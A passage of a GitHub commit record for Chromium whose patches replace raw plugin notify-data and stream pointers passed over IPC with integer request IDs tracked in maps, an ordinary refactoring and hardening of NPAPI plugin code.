resource_id, url, notify_id));\n+ }\n \n- channel_->Send(new PluginMsg_HandleURLRequestReply(instance_id_, params));\n+ void InitializeForSeekableStream(unsigned long resource_id,\n+ int range_request_id) {\n+ resource_id_ = resource_id;\n+ multibyte_response_expected_ = true;\n+ channel_->Send(new PluginMsg_HTTPRangeRequestReply(\n+ instance_id_, resource_id, range_request_id));\n }\n \n // PluginResourceClient implementation:\n@@ -154,9 +147,6 @@ class ResourceClientProxy : public webkit_glue::WebPluginResourceClient {\n scoped_refptr<PluginChannelHost> channel_;\n int instance_id_;\n unsigned long resource_id_;\n- GURL url_;\n- bool notify_needed_;\n- intptr_t notify_data_;\n // Set to true if the response expected is a multibyte response.\n // For e.g. response for a HTTP byte range request.\n bool multibyte_response_expected_;\n@@ -314,13 +304,9 @@ bool WebPluginDelegateProxy::Send(IPC::Message* msg) {\n void WebPluginDelegateProxy::SendJavaScriptStream(const GURL& url,\n const std::string& result,\n bool success,\n- bool notify_needed,\n- intptr_t notify_data) {\n- PluginMsg_SendJavaScriptStream* msg =\n- new PluginMsg_SendJavaScriptStream(instance_id_, url, result,\n- success, notify_needed,\n- notify_data);\n- Send(msg);\n+ int notify_id) {\n+ Send(new PluginMsg_SendJavaScriptStream(\n+ instance_id_, url, result, success, notify_id));\n }\n \n void WebPluginDelegateProxy::DidReceiveManualResponse(\n@@ -823,9 +809,7 @@ NPObject* WebPluginDelegateProxy::GetPluginScriptableObject() {\n return WebBindings::retainObject(npobject_);\n \n int route_id = MSG_ROUTING_NONE;\n- intptr_t npobject_ptr;\n- Send(new PluginMsg_GetPluginScriptableObject(\n- instance_id_, &route_id, &npobject_ptr));\n+ Send(new PluginMsg_GetPluginScriptableObject(instance_id_, &route_id));\n if (route_id == MSG_ROUTING_NONE)\n return NULL;\n \n@@ -836,9 +820,9 @@ NPObject* WebPluginDelegateProxy::GetPluginScriptableObject() {\n }\n \n void WebPluginDelegateProxy::DidFinishLoadWithReason(\n- const GURL& url, NPReason reason, intptr_t notify_data) {\n+ const GURL& url, NPReason reason, int notify_id) {\n Send(new PluginMsg_DidFinishLoadWithReason(\n- instance_id_, url, reason, notify_data));\n+ instance_id_, url, reason, notify_id));\n }\n \n void WebPluginDelegateProxy::SetFocus() {\n@@ -909,7 +893,7 @@ void WebPluginDelegateProxy::OnInvalidateRect(const gfx::Rect& rect) {\n }\n \n void WebPluginDelegateProxy::OnGetWindowScriptNPObject(\n- int route_id, bool* success, intptr_t* npobject_ptr) {\n+ int route_id, bool* success) {\n *success = false;\n NPObject* npobject = NULL;\n if (plugin_)\n@@ -923,11 +907,9 @@ void WebPluginDelegateProxy::OnGetWindowScriptNPObject(\n window_script_object_ = (new NPObjectStub(\n npobject, channel_host_.get(), route_id, 0, page_url_))->AsWeakPtr();\n *success = true;\n- *npobject_ptr = reinterpret_cast<intptr_t>(npobject);\n }\n \n-void WebPluginDelegateProxy::OnGetPluginElement(\n- int route_id, bool* success, intptr_t* npobject_ptr) {\n+void WebPluginDelegateProxy::OnGetPluginElement(int route_id, bool* success) {\n *success = false;\n NPObject* npobject = NULL;\n if (plugin_)\n@@ -940,7 +922,6 @@ void WebPluginDelegateProxy::OnGetPluginElement(\n new NPObjectStub(\n npobject, channel_host_.get(), route_id, 0, page_url_);\n *success = true;\n- *npobject_ptr = reinterpret_cast<intptr_t>(npobject);\n }\n \n void WebPluginDelegateProxy::OnSetCookie(const GURL& url,\n@@ -1155,24 +1136,33 @@ void WebPluginDelegateProxy::OnHandleURLRequest(\n if (params.target.length())\n target = params.target.c_str();\n \n- plugin_->HandleURLRequest(params.method.c_str(),\n- params.is_javascript_url, target,\n- static_cast<unsigned int>(params.buffer.size()),\n- data, params.is_file_data, params.notify,\n- params.url.c_str(), params.notify_data,\n- params.popups_allowed);\n+ plugin_->HandleURLRequest(\n+ params.url.c_str(), params.method.c_str(), target, data,\n+ static_cast<unsigned int>(params.buffer.size()), params.notify_id,\n+ params.popups_allowed);\n }\n \n webkit_glue::WebPluginResourceClient*\n WebPluginDelegateProxy::CreateResourceClient(\n- unsigned long resource_id, const GURL& url, bool notify_needed,\n- intptr_t notify_data, intptr_t npstream) {\n+ unsigned long resource_id, const GURL& url, int notify_id) {\n+ if (!channel_host_)\n+ return NULL;\n+\n+ ResourceClientProxy* proxy = new ResourceClientProxy(channel_host_,\n+ instance_id_);\n+ proxy->Initialize(resource_id, url, notify_id);\n+ return proxy;\n+}\n+\n+webkit_glue::WebPluginResourceClient*\n+WebPluginDelegateProxy::CreateSeekableResourceClient(\n+ unsigned long resource_id, int range_request_id) {\n if (!channel_host_)\n return NULL;\n \n ResourceClientProxy* proxy = new ResourceClientProxy(channel_host_,\n instance_id_);\n- proxy->Initialize(resource_id, url, notify_needed, notify_data, npstream);\n+ proxy->InitializeForSeekableStream(resource_id, range_request_id);\n return proxy;\n }\n \n@@ -1195,11 +1185,11 @@ void WebPluginDelegateProxy::OnCancelDocumentLoad() {\n }\n \n void WebPluginDelegateProxy::OnInitiateHTTPRangeRequest(\n- const std::string& url, const std::string& range_info,\n- intptr_t existing_stream, bool notify_needed, intptr_t notify_data) {\n- plugin_->InitiateHTTPRangeRequest(url.c_str(), range_info.c_str(),\n- existing_stream, notify_needed,\n- notify_data);\n+ const std::string& url,\n+ const std::string& range_info,\n+ int range_request_id) {\n+ plugin_->InitiateHTTPRangeRequest(\n+ url.c_str(), range_info.c_str(), range_request_id);\n }\n \n void WebPluginDelegateProxy::OnDeferResourceLoading(unsigned long resource_id,"}<_**next**_>{"sha": "510f9772123ecb860b4be6d4e9950c071b784f68", "filename": "chrome/renderer/webplugin_delegate_proxy.h", "status": "modified", "additions": 9, "deletions": 14, "changes": 23, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/renderer/webplugin_delegate_proxy.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/renderer/webplugin_delegate_proxy.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/webplugin_delegate_proxy.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -65,7 +65,7 @@ class WebPluginDelegateProxy\n virtual void Print(gfx::NativeDrawingContext context);\n virtual NPObject* GetPluginScriptableObject();\n virtual void DidFinishLoadWithReason(const GURL& url, NPReason reason,\n- intptr_t notify_data);\n+ int notify_id);\n virtual void SetFocus();\n virtual bool HandleInputEvent(const WebKit::WebInputEvent& event,\n WebKit::WebCursorInfo* cursor);\n@@ -80,8 +80,8 @@ class WebPluginDelegateProxy\n \n virtual void SendJavaScriptStream(const GURL& url,\n const std::string& result,\n- bool success, bool notify_needed,\n- intptr_t notify_data);\n+ bool success,\n+ int notify_id);\n \n virtual void DidReceiveManualResponse(const GURL& url,\n const std::string& mime_type,\n@@ -93,11 +93,9 @@ class WebPluginDelegateProxy\n virtual void DidManualLoadFail();\n virtual void InstallMissingPlugin();\n virtual webkit_glue::WebPluginResourceClient* CreateResourceClient(\n- unsigned long resource_id,\n- const GURL& url,\n- bool notify_needed,\n- intptr_t notify_data,\n- intptr_t existing_stream);\n+ unsigned long resource_id, const GURL& url, int notify_id);\n+ virtual webkit_glue::WebPluginResourceClient* CreateSeekableResourceClient(\n+ unsigned long resource_id, int range_request_id);\n \n CommandBufferProxy* CreateCommandBuffer();\n \n@@ -117,9 +115,8 @@ class WebPluginDelegateProxy\n void OnHandleURLRequest(const PluginHostMsg_URLRequest_Params& params);\n void OnCancelResource(int id);\n void OnInvalidateRect(const gfx::Rect& rect);\n- void OnGetWindowScriptNPObject(int route_id, bool* success,\n- intptr_t* npobject_ptr);\n- void OnGetPluginElement(int route_id, bool* success, intptr_t* npobject_ptr);\n+ void OnGetWindowScriptNPObject(int route_id, bool* success);\n+ void OnGetPluginElement(int route_id, bool* success);\n void OnSetCookie(const GURL& url,\n const GURL& first_party_for_cookies,\n const std::string& cookie);\n@@ -137,9 +134,7 @@ class WebPluginDelegateProxy\n void OnCancelDocumentLoad();\n void OnInitiateHTTPRangeRequest(const std::string& url,\n const std::string& range_info,\n- intptr_t existing_stream,\n- bool notify_needed,\n- intptr_t notify_data);\n+ int range_request_id);\n void OnDeferResourceLoading(unsigned long resource_id, bool defer);\n \n #if defined(OS_MACOSX)"}<_**next**_>{"sha": "c8c652dc7e97780b98520748d5c5a1367d844e7e", "filename": "webkit/glue/plugins/plugin_host.cc", "status": "modified", "additions": 6, "deletions": 21, "changes": 27, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/plugin_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/plugin_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/plugins/plugin_host.cc?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -313,12 +313,7 @@ NPError NPN_RequestRead(NPStream* stream, NPByteRange* range_list) {\n return NPERR_NO_ERROR;\n }\n \n-static bool IsJavaScriptUrl(const std::string& url) {\n- return StartsWithASCII(url, \"javascript:\", false);\n-}\n-\n-// Generic form of GetURL for common code between\n-// GetURL() and GetURLNotify().\n+// Generic form of GetURL for common code between GetURL and GetURLNotify.\n static NPError GetURLNotify(NPP id,\n const char* url,\n const char* target,\n@@ -327,18 +322,13 @@ static NPError GetURLNotify(NPP id,\n if (!url)\n return NPERR_INVALID_URL;\n \n- bool is_javascript_url = IsJavaScriptUrl(url);\n-\n scoped_refptr<NPAPI::PluginInstance> plugin = FindInstance(id);\n- if (plugin.get()) {\n- plugin->webplugin()->HandleURLRequest(\n- \"GET\", is_javascript_url, target, 0, 0, false,\n- notify, url, reinterpret_cast<intptr_t>(notify_data),\n- plugin->popups_allowed());\n- } else {\n+ if (!plugin.get()) {\n NOTREACHED();\n return NPERR_GENERIC_ERROR;\n }\n+\n+ plugin->RequestURL(url, \"GET\", target, NULL, 0, notify, notify_data);\n return NPERR_NO_ERROR;\n }\n \n@@ -385,8 +375,7 @@ NPError NPN_GetURL(NPP id, const char* url, const char* target) {\n return GetURLNotify(id, url, target, false, 0);\n }\n \n-// Generic form of PostURL for common code between\n-// PostURL() and PostURLNotify().\n+// Generic form of PostURL for common code between PostURL and PostURLNotify.\n static NPError PostURLNotify(NPP id,\n const char* url,\n const char* target,\n@@ -460,8 +449,6 @@ static NPError PostURLNotify(NPP id,\n len = post_file_contents.size();\n }\n \n- bool is_javascript_url = IsJavaScriptUrl(url);\n-\n // The post data sent by a plugin contains both headers\n // and post data. Example:\n // Content-type: text/html\n@@ -472,9 +459,7 @@ static NPError PostURLNotify(NPP id,\n // Unfortunately, our stream needs these broken apart,\n // so we need to parse the data and set headers and data\n // separately.\n- plugin->webplugin()->HandleURLRequest(\n- \"POST\", is_javascript_url, target, len, buf, false, notify, url,\n- reinterpret_cast<intptr_t>(notify_data), plugin->popups_allowed());\n+ plugin->RequestURL(url, \"POST\", target, buf, len, notify, notify_data);\n return NPERR_NO_ERROR;\n }\n "}<_**next**_>{"sha": "1d01f8e7d5cfc1fe4ebc2feaa769adb8f608bcd8", "filename": "webkit/glue/plugins/plugin_instance.cc", "status": "modified", "additions": 88, "deletions": 40, "changes": 128, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/plugin_instance.cc", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/plugin_instance.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/plugins/plugin_instance.cc?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -40,16 +40,16 @@ PluginInstance::PluginInstance(PluginLib *plugin, const std::string &mime_type)\n event_model_(0),\n currently_handled_event_(NULL),\n #endif\n- message_loop_(MessageLoop::current()),\n load_manually_(false),\n in_close_streams_(false),\n- next_timer_id_(1) {\n+ next_timer_id_(1),\n+ next_notify_id_(0),\n+ next_range_request_id_(0) {\n npp_ = new NPP_t();\n npp_->ndata = 0;\n npp_->pdata = 0;\n \n memset(&zero_padding_, 0, sizeof(zero_padding_));\n- DCHECK(message_loop_);\n }\n \n PluginInstance::~PluginInstance() {\n@@ -67,10 +67,13 @@ PluginInstance::~PluginInstance() {\n PluginStreamUrl* PluginInstance::CreateStream(unsigned long resource_id,\n const GURL& url,\n const std::string& mime_type,\n- bool notify_needed,\n- void* notify_data) {\n+ int notify_id) {\n+\n+ bool notify;\n+ void* notify_data;\n+ GetNotifyData(notify_id, ¬ify, ¬ify_data);\n PluginStreamUrl* stream = new PluginStreamUrl(\n- resource_id, url, this, notify_needed, notify_data);\n+ resource_id, url, this, notify, notify_data);\n \n AddStream(stream);\n return stream;\n@@ -115,6 +118,19 @@ void PluginInstance::CloseStreams() {\n in_close_streams_ = false;\n }\n \n+webkit_glue::WebPluginResourceClient* PluginInstance::GetRangeRequest(\n+ int id) {\n+ PendingRangeRequestMap::iterator iter = pending_range_requests_.find(id);\n+ if (iter == pending_range_requests_.end()) {\n+ NOTREACHED();\n+ return NULL;\n+ }\n+\n+ webkit_glue::WebPluginResourceClient* rv = iter->second->AsResourceClient();\n+ pending_range_requests_.erase(iter);\n+ return rv;\n+}\n+\n bool PluginInstance::Start(const GURL& url,\n char** const param_names,\n char** const param_values,\n@@ -138,8 +154,16 @@ NPObject *PluginInstance::GetPluginScriptableObject() {\n }\n \n // WebPluginLoadDelegate methods\n-void PluginInstance::DidFinishLoadWithReason(const GURL& url, NPReason reason,\n- void* notify_data) {\n+void PluginInstance::DidFinishLoadWithReason(\n+ const GURL& url, NPReason reason, int notify_id) {\n+ bool notify;\n+ void* notify_data;\n+ GetNotifyData(notify_id, ¬ify, ¬ify_data);\n+ if (!notify) {\n+ NOTREACHED();\n+ return;\n+ }\n+\n NPP_URLNotify(url.spec().c_str(), reason, notify_data);\n }\n \n@@ -305,21 +329,21 @@ bool PluginInstance::NPP_Print(NPPrint* platform_print) {\n void PluginInstance::SendJavaScriptStream(const GURL& url,\n const std::string& result,\n bool success,\n- bool notify_needed,\n- intptr_t notify_data) {\n+ int notify_id) {\n+ bool notify;\n+ void* notify_data;\n+ GetNotifyData(notify_id, ¬ify, ¬ify_data);\n+\n if (success) {\n PluginStringStream *stream =\n- new PluginStringStream(this, url, notify_needed,\n- reinterpret_cast<void*>(notify_data));\n+ new PluginStringStream(this, url, notify, notify_data);\n AddStream(stream);\n stream->SendToPlugin(result, \"text/html\");\n } else {\n // NOTE: Sending an empty stream here will crash MacroMedia\n // Flash 9. Just send the URL Notify.\n- if (notify_needed) {\n- this->NPP_URLNotify(url.spec().c_str(), NPRES_DONE,\n- reinterpret_cast<void*>(notify_data));\n- }\n+ if (notify)\n+ NPP_URLNotify(url.spec().c_str(), NPRES_DONE, notify_data);\n }\n }\n \n@@ -330,8 +354,7 @@ void PluginInstance::DidReceiveManualResponse(const GURL& url,\n uint32 last_modified) {\n DCHECK(load_manually_);\n \n- plugin_data_stream_ = CreateStream(-1, url, mime_type, false, NULL);\n-\n+ plugin_data_stream_ = CreateStream(-1, url, mime_type, 0);\n plugin_data_stream_->DidReceiveResponse(mime_type, headers, expected_length,\n last_modified, true);\n }\n@@ -362,8 +385,9 @@ void PluginInstance::DidManualLoadFail() {\n \n void PluginInstance::PluginThreadAsyncCall(void (*func)(void *),\n void *user_data) {\n- message_loop_->PostTask(FROM_HERE, NewRunnableMethod(\n- this, &PluginInstance::OnPluginThreadAsyncCall, func, user_data));\n+ MessageLoop::current()->PostTask(\n+ FROM_HERE, NewRunnableMethod(\n+ this, &PluginInstance::OnPluginThreadAsyncCall, func, user_data));\n }\n \n void PluginInstance::OnPluginThreadAsyncCall(void (*func)(void *),\n@@ -389,13 +413,11 @@ uint32 PluginInstance::ScheduleTimer(uint32 interval,\n timers_[timer_id] = info;\n \n // Schedule the callback.\n- message_loop_->PostDelayedTask(FROM_HERE,\n- NewRunnableMethod(this,\n- &PluginInstance::OnTimerCall,\n- func,\n- npp_,\n- timer_id),\n- interval);\n+ MessageLoop::current()->PostDelayedTask(\n+ FROM_HERE,\n+ NewRunnableMethod(\n+ this, &PluginInstance::OnTimerCall, func, npp_, timer_id),\n+ interval);\n return timer_id;\n }\n \n@@ -434,14 +456,11 @@ void PluginInstance::OnTimerCall(void (*func)(NPP id, uint32 timer_id),\n // Reschedule repeating timers after invoking the callback so callback is not\n // re-entered if it pumps the messager loop.\n if (info.repeat) {\n- message_loop_->PostDelayedTask(FROM_HERE,\n- NewRunnableMethod(\n- this,\n- &PluginInstance::OnTimerCall,\n- func,\n- npp_,\n- timer_id),\n- info.interval);\n+ MessageLoop::current()->PostDelayedTask(\n+ FROM_HERE,\n+ NewRunnableMethod(\n+ this, &PluginInstance::OnTimerCall, func, npp_, timer_id),\n+ info.interval);\n } else {\n timers_.erase(it);\n }\n@@ -490,14 +509,30 @@ void PluginInstance::RequestRead(NPStream* stream, NPByteRange* range_list) {\n // is called on it.\n plugin_stream->set_seekable(true);\n \n+ pending_range_requests_[++next_range_request_id_] = plugin_stream;\n webplugin_->InitiateHTTPRangeRequest(\n- stream->url, range_info.c_str(),\n- reinterpret_cast<intptr_t>(plugin_stream),\n- plugin_stream->notify_needed(),\n- reinterpret_cast<intptr_t>(plugin_stream->notify_data()));\n- break;\n+ stream->url, range_info.c_str(), next_range_request_id_);\n+ return;\n }\n }\n+ NOTREACHED();\n+}\n+\n+void PluginInstance::RequestURL(const char* url,\n+ const char* method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ bool notify,\n+ void* notify_data) {\n+ int notify_id = 0;\n+ if (notify) {\n+ notify_id = ++next_notify_id_;\n+ pending_requests_[notify_id] = notify_data;\n+ }\n+\n+ webplugin_->HandleURLRequest(\n+ url, method, target, buf, len, notify_id, popups_allowed());\n }\n \n bool PluginInstance::ConvertPoint(double source_x, double source_y,\n@@ -566,4 +601,17 @@ bool PluginInstance::ConvertPoint(double source_x, double source_y,\n #endif\n }\n \n+void PluginInstance::GetNotifyData(\n+ int notify_id, bool* notify, void** notify_data) {\n+ PendingRequestMap::iterator iter = pending_requests_.find(notify_id);\n+ if (iter != pending_requests_.end()) {\n+ *notify = true;\n+ *notify_data = iter->second;\n+ pending_requests_.erase(iter);\n+ } else {\n+ *notify = false;\n+ *notify_data = NULL;\n+ }\n+}\n+\n } // namespace NPAPI"}<_**next**_>{"sha": "7cb72aa60d884ab8e0300a56821cbac5195176a3", "filename": "webkit/glue/plugins/plugin_instance.h", "status": "modified", "additions": 42, "deletions": 22, "changes": 64, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/plugin_instance.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/plugin_instance.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/plugins/plugin_instance.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -24,10 +24,10 @@\n #include \"googleurl/src/gurl.h\"\n #include \"third_party/npapi/bindings/npapi.h\"\n \n-class MessageLoop;\n \n namespace webkit_glue {\n class WebPlugin;\n+class WebPluginResourceClient;\n }\n \n namespace NPAPI\n@@ -116,17 +116,15 @@ class PluginInstance : public base::RefCountedThreadSafe<PluginInstance> {\n void set_plugin_origin(gfx::Point origin) { plugin_origin_ = origin; }\n #endif\n \n- // Creates a stream for sending an URL. If notify_needed\n- // is true, it will send a notification to the plugin\n- // when the stream is complete; otherwise it will not.\n- // Set object_url to true if the load is for the object tag's\n- // url, or false if it's for a url that the plugin\n- // fetched through NPN_GetUrl[Notify].\n+ // Creates a stream for sending an URL. If notify_id is non-zero, it will\n+ // send a notification to the plugin when the stream is complete; otherwise it\n+ // will not. Set object_url to true if the load is for the object tag's url,\n+ // or false if it's for a url that the plugin fetched through\n+ // NPN_GetUrl[Notify].\n PluginStreamUrl* CreateStream(unsigned long resource_id,\n const GURL& url,\n const std::string& mime_type,\n- bool notify_needed,\n- void* notify_data);\n+ int notify_id);\n \n // For each instance, we track all streams. When the\n // instance closes, all remaining streams are also\n@@ -142,13 +140,16 @@ class PluginInstance : public base::RefCountedThreadSafe<PluginInstance> {\n // Closes all open streams on this instance.\n void CloseStreams();\n \n+ // Returns the WebPluginResourceClient object for a stream that has become\n+ // seekable.\n+ webkit_glue::WebPluginResourceClient* GetRangeRequest(int id);\n+\n // Have the plugin create it's script object.\n NPObject *GetPluginScriptableObject();\n \n // WebViewDelegate methods that we implement. This is for handling\n // callbacks during getURLNotify.\n- virtual void DidFinishLoadWithReason(const GURL& url, NPReason reason,\n- void* notify_data);\n+ void DidFinishLoadWithReason(const GURL& url, NPReason reason, int notify_id);\n \n // If true, send the Mozilla user agent instead of Chrome's to the plugin.\n bool use_mozilla_user_agent() { return use_mozilla_user_agent_; }\n@@ -188,9 +189,10 @@ class PluginInstance : public base::RefCountedThreadSafe<PluginInstance> {\n void NPP_Destroy();\n bool NPP_Print(NPPrint* platform_print);\n \n- void SendJavaScriptStream(const GURL& url, const std::string& result,\n- bool success, bool notify_needed,\n- intptr_t notify_data);\n+ void SendJavaScriptStream(const GURL& url,\n+ const std::string& result,\n+ bool success,\n+ int notify_id);\n \n void DidReceiveManualResponse(const GURL& url,\n const std::string& mime_type,\n@@ -211,6 +213,16 @@ class PluginInstance : public base::RefCountedThreadSafe<PluginInstance> {\n // Initiates byte range reads for plugins.\n void RequestRead(NPStream* stream, NPByteRange* range_list);\n \n+ // Handles GetURL/GetURLNotify/PostURL/PostURLNotify requests initiated\n+ // by plugins.\n+ void RequestURL(const char* url,\n+ const char* method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ bool notify,\n+ void* notify_data);\n+\n private:\n friend class base::RefCountedThreadSafe<PluginInstance>;\n \n@@ -225,15 +237,12 @@ class PluginInstance : public base::RefCountedThreadSafe<PluginInstance> {\n }\n #endif\n \n- virtual ~PluginInstance();\n-\n- void OnPluginThreadAsyncCall(void (*func)(void *),\n- void *userData);\n+ ~PluginInstance();\n+ void OnPluginThreadAsyncCall(void (*func)(void *), void *userData);\n void OnTimerCall(void (*func)(NPP id, uint32 timer_id),\n- NPP id,\n- uint32 timer_id);\n-\n+ NPP id, uint32 timer_id);\n bool IsValidStream(const NPStream* stream);\n+ void GetNotifyData(int notify_id, bool* notify, void** notify_data);\n \n // This is a hack to get the real player plugin to work with chrome\n // The real player plugin dll(nppl3260) when loaded by firefox is loaded via\n@@ -275,7 +284,6 @@ class PluginInstance : public base::RefCountedThreadSafe<PluginInstance> {\n gfx::Point plugin_origin_;\n NPCocoaEvent* currently_handled_event_; // weak\n #endif\n- MessageLoop* message_loop_;\n scoped_refptr<PluginStreamUrl> plugin_data_stream_;\n \n // This flag if true indicates that the plugin data would be passed from\n@@ -304,6 +312,18 @@ class PluginInstance : public base::RefCountedThreadSafe<PluginInstance> {\n typedef std::map<uint32, TimerInfo> TimerMap;\n TimerMap timers_;\n \n+ // Tracks pending GET/POST requests so that the plugin-given data doesn't\n+ // cross process boundaries to an untrusted process.\n+ typedef std::map<int, void*> PendingRequestMap;\n+ PendingRequestMap pending_requests_;\n+ int next_notify_id_;\n+\n+ // Used to track pending range requests so that when WebPlugin replies to us\n+ // we can match the reply to the stream.\n+ typedef std::map<int, scoped_refptr<PluginStream> > PendingRangeRequestMap;\n+ PendingRangeRequestMap pending_range_requests_;\n+ int next_range_request_id_;\n+\n DISALLOW_EVIL_CONSTRUCTORS(PluginInstance);\n };\n "}<_**next**_>{"sha": "d2ecbc712f74dfb8a4a8a2a0a3e239e670bf8aa6", "filename": "webkit/glue/plugins/webplugin_delegate_impl.cc", "status": "modified", "additions": 11, "deletions": 22, "changes": 33, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/webplugin_delegate_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/webplugin_delegate_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/plugins/webplugin_delegate_impl.cc?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -143,15 +143,14 @@ NPObject* WebPluginDelegateImpl::GetPluginScriptableObject() {\n \n void WebPluginDelegateImpl::DidFinishLoadWithReason(const GURL& url,\n NPReason reason,\n- intptr_t notify_data) {\n+ int notify_id) {\n if (quirks_ & PLUGIN_QUIRK_ALWAYS_NOTIFY_SUCCESS &&\n reason == NPRES_NETWORK_ERR) {\n // Flash needs this or otherwise it unloads the launching swf object.\n reason = NPRES_DONE;\n }\n \n- instance()->DidFinishLoadWithReason(\n- url, reason, reinterpret_cast<void*>(notify_data));\n+ instance()->DidFinishLoadWithReason(url, reason, notify_id);\n }\n \n int WebPluginDelegateImpl::GetProcessId() {\n@@ -162,10 +161,8 @@ int WebPluginDelegateImpl::GetProcessId() {\n void WebPluginDelegateImpl::SendJavaScriptStream(const GURL& url,\n const std::string& result,\n bool success,\n- bool notify_needed,\n- intptr_t notify_data) {\n- instance()->SendJavaScriptStream(url, result, success, notify_needed,\n- notify_data);\n+ int notify_id) {\n+ instance()->SendJavaScriptStream(url, result, success, notify_id);\n }\n \n void WebPluginDelegateImpl::DidReceiveManualResponse(\n@@ -209,20 +206,12 @@ void WebPluginDelegateImpl::WindowedUpdateGeometry(\n }\n \n WebPluginResourceClient* WebPluginDelegateImpl::CreateResourceClient(\n- unsigned long resource_id, const GURL& url, bool notify_needed,\n- intptr_t notify_data, intptr_t existing_stream) {\n- // Stream already exists. This typically happens for range requests\n- // initiated via NPN_RequestRead.\n- if (existing_stream) {\n- NPAPI::PluginStream* plugin_stream =\n- reinterpret_cast<NPAPI::PluginStream*>(existing_stream);\n-\n- return plugin_stream->AsResourceClient();\n- }\n+ unsigned long resource_id, const GURL& url, int notify_id) {\n+ return instance()->CreateStream(\n+ resource_id, url, std::string(), notify_id);\n+}\n \n- std::string mime_type;\n- NPAPI::PluginStreamUrl *stream = instance()->CreateStream(\n- resource_id, url, mime_type, notify_needed,\n- reinterpret_cast<void*>(notify_data));\n- return stream;\n+WebPluginResourceClient* WebPluginDelegateImpl::CreateSeekableResourceClient(\n+ unsigned long resource_id, int range_request_id) {\n+ return instance()->GetRangeRequest(range_request_id);\n }"}<_**next**_>{"sha": "ce19bb5b220e3ac1e0156ae3313bc57dd1af798d", "filename": "webkit/glue/plugins/webplugin_delegate_impl.h", "status": "modified", "additions": 7, "deletions": 9, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/webplugin_delegate_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/plugins/webplugin_delegate_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/plugins/webplugin_delegate_impl.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -79,13 +79,13 @@ class WebPluginDelegateImpl : public webkit_glue::WebPluginDelegate {\n virtual bool HandleInputEvent(const WebKit::WebInputEvent& event,\n WebKit::WebCursorInfo* cursor);\n virtual NPObject* GetPluginScriptableObject();\n- virtual void DidFinishLoadWithReason(const GURL& url, NPReason reason,\n- intptr_t notify_data);\n+ virtual void DidFinishLoadWithReason(\n+ const GURL& url, NPReason reason, int notify_id);\n virtual int GetProcessId();\n virtual void SendJavaScriptStream(const GURL& url,\n const std::string& result,\n- bool success, bool notify_needed,\n- intptr_t notify_data);\n+ bool success,\n+ int notify_id);\n virtual void DidReceiveManualResponse(const GURL& url,\n const std::string& mime_type,\n const std::string& headers,\n@@ -96,11 +96,9 @@ class WebPluginDelegateImpl : public webkit_glue::WebPluginDelegate {\n virtual void DidManualLoadFail();\n virtual void InstallMissingPlugin();\n virtual webkit_glue::WebPluginResourceClient* CreateResourceClient(\n- unsigned long resource_id,\n- const GURL& url,\n- bool notify_needed,\n- intptr_t notify_data,\n- intptr_t stream);\n+ unsigned long resource_id, const GURL& url, int notify_id);\n+ virtual webkit_glue::WebPluginResourceClient* CreateSeekableResourceClient(\n+ unsigned long resource_id, int range_request_id);\n // End of WebPluginDelegate implementation.\n \n bool IsWindowless() const { return windowless_ ; }"}<_**next**_>{"sha": "051eb2c40648050f1199f9c185fd0a94b20f5dbd", "filename": "webkit/glue/webplugin.h", "status": "modified", "additions": 11, "deletions": 11, "changes": 22, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/webplugin.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/webplugin.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/webplugin.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -105,23 +105,23 @@ class WebPlugin {\n virtual void OnMissingPluginStatus(int status) = 0;\n \n // Handles GetURL/GetURLNotify/PostURL/PostURLNotify requests initiated\n- // by plugins.\n- virtual void HandleURLRequest(const char *method,\n- bool is_javascript_url,\n- const char* target, unsigned int len,\n- const char* buf, bool is_file_data,\n- bool notify, const char* url,\n- intptr_t notify_data, bool popups_allowed) = 0;\n+ // by plugins. If the plugin wants notification of the result, notify_id will\n+ // be non-zero.\n+ virtual void HandleURLRequest(const char* url,\n+ const char *method,\n+ const char* target,\n+ const 